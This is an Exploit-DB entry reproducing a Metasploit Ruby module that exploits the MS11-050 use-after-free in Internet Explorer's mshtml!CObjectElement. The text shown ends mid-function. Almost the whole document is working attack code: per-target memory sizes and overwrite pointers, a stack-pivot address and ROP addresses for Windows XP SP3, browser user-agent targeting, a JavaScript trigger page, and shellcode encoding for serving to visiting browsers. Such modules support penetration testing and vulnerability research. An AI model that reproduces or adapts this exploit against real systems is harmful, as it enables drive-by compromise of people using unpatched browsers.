Exploit-DB #17409
Description: Microsoft Internet Explorer - MSHTML!CObjectElement Use-After-Free (MS11-050) (Metasploit)
Type: remote
Platform: windows
Date: 2011-06-17
Author: Metasploit

Exploit:
##
# $Id: ms11_050_mshtml_cobjectelement.rb 12962 2011-06-17 01:56:20Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({
		:ua_name    => HttpClients::IE,
		:ua_minver  => "7.0",
		:ua_maxver  => "8.0",
		:javascript => true,
		:os_name    => OperatingSystems::WINDOWS,
		:vuln_test  => nil, 
	})

	def initialize(info={})
		super(update_info(info,
			'Name'           => "MS11-050 IE mshtml!CObjectElement Use After Free",
			'Description'    => %q{
					This module exploits a use-after-free vulnerability in Internet Explorer. The
				vulnerability occurs when an invalid <object> tag exists and other elements overlap/cover
				where the object tag should be when rendered (due to their styles/positioning). The
				mshtml!CObjectElement is then freed from memory because it is invalid. However, the
				mshtml!CDisplay object for the page continues to keep a reference to the freed <object> and
				attempts to call a function on it, leading to the use-after-free.
			},
			'License'        => MSF_LICENSE,
			'Version'        => "$Revision: 12962 $",
			'Author'         =>
				[
					'd0c_s4vage',
				],
			'References'     =>
				[
					['CVE', '2011-1256'],
					['OSVDB', '72948'],
					['MSB', 'MS11-050'],
					['URL', 'http://d0cs4vage.blogspot.com/2011/06/insecticides-dont-kill-bugs-patch.html'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "\x00\x09\x0a\x0d'\\",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', { } ],

					# In IE6 the mshtml!CObjectElement size is 0xac
					[
						'Win XP SP3 Internet Explorer 7', # 7.0.5730.13
						{
							# sizeof(mshtml!CObjectElement)
							'FreedObjSize' =>  0xb0,
							'FakeObjCount' => 0x4000,
							'FakeObjCountKeep' => 0x2000,
							'ForLoopNumObjects' => 3,
							'FreedObjOverwritePointer'=>0x0c0c0c0c,
							'FreedObjOffsetAlignSize'=>0,
							'ROP' => false,
						}
					],

					[
						'Win XP SP3 Internet Explorer 8 (no DEP)', # 8.0.6001.18702
						{
							# sizeof(mshtml!CObjectElement)
							'FreedObjSize' =>  0xe0, # 0xdc rounded up
							'FakeObjCount' => 0x8000,
							'FakeObjCountKeep' => 0x3000,
							'ForLoopNumObjects' => 5,
							'FreedObjOverwritePointer'=>0x0c0c0c0c,
							'FreedObjOffsetAlignSize'=>0,
							'ROP' => false,
						}
					],

					[
						'Win XP SP3 Internet Explorer 8',
						{
							'FreedObjSize' =>  0xe0, # 0xdc rounded up
							'FakeObjCount' => 0x8000,
							'FakeObjCountKeep' => 0x3000,
							'ForLoopNumObjects' => 5,
							'FreedObjOverwritePointer'=>0x0c0c0c0c,
							'FreedObjOffsetAlignSize'=>2,
							#'StackPivot'=>0x773E3F18, # xchg eax,esp / ret - comctl32.dll
							'StackPivot' => 0x7E45F257, #xchg eax,esp - USER32.dll
							'ROP' => true,
						}
					],

					[
						'Debug Target (Crash)', {}
					],
				],
			'DisclosureDate' => "Jun 16 2011",
			'DefaultTarget'  => 0))
	end

	def auto_target(cli, request)
		agent = request.headers['User-Agent']
		if agent =~ /MSIE 8\.0/
			mytarget = targets[3] # IE 8
		elsif agent =~ /MSIE 7\.0/
			mytarget = targets[1]
		else
			print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
		end

		mytarget
	end


	# 3/22/2011
	# fully patched x32 WinXP SP3, IE 8.0.6001.18702
	def winxp_sp3_rva
		{
			#"kernel32!VirtualAlloc"  => 0x7c809af1,
			"kernel32!VirtualAlloc" => 0x7c809ae1,
			"ntdll!memcpy"           => 0x7c901db3,
		}
	end

	def compile_rop(rop_stack)
		rva = winxp_sp3_rva()
		num_random = 0
		rop_stack.map do |rop_val|
			case rop_val
			when String
				if rop_val == "random"
					# useful for debugging
					# num_random += 1
					# 0xaabbcc00 + num_random
					rand(0xffffffff)
				else
					raise RuntimeError, "Unable to locate key: #{rop_val.inspect}" unless rva[rop_val]
					rva[rop_val]
				end
			when Integer
				rop_val
			else
				raise RuntimeError, "unknown rop_val: #{rop_val.inspect}, #{rop_val.class}"
			end
		end.pack("V*")
	end

	def on_request_uri(cli, request)
		mytarget = target
		if target.name == 'Automatic'
			mytarget = auto_target(cli, request)
			unless mytarget
				send_not_found(cli)
				return
			end
		end
		@mytarget = mytarget
		@debug = true if mytarget == targets[4]

		return if ((p = regenerate_payload(cli)) == nil)
		
		id_name  = rand_text_alpha(5)
		dir_name = rand_text_alpha(3)

		if @debug
			data = <<-DATA
			<html>
			<body>
			<script language='javascript'>
			document.body.innerHTML += "<object align='right' hspace='1000' width='1000'></object>";
			document.body.innerHTML += "<a id='#{id_name}' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' ></a>";
			document.body.innerHTML += "AAAAAAA";
			document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='#{dir_name}'></strong>";
			</script>
			</body>
			</html>
			DATA

			print_status("Triggering #{self.name} vulnerability at #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")
			send_response(cli, data, { 'Content-Type' => 'text/html' })
			return
		end

		raw_shellcode = payload.encoded
		shellcode = Rex::Text.to_unescape(raw_shellcode, Rex::Arch.endian(mytarget.arch))

		spray = nil
		rop_shellcode_sp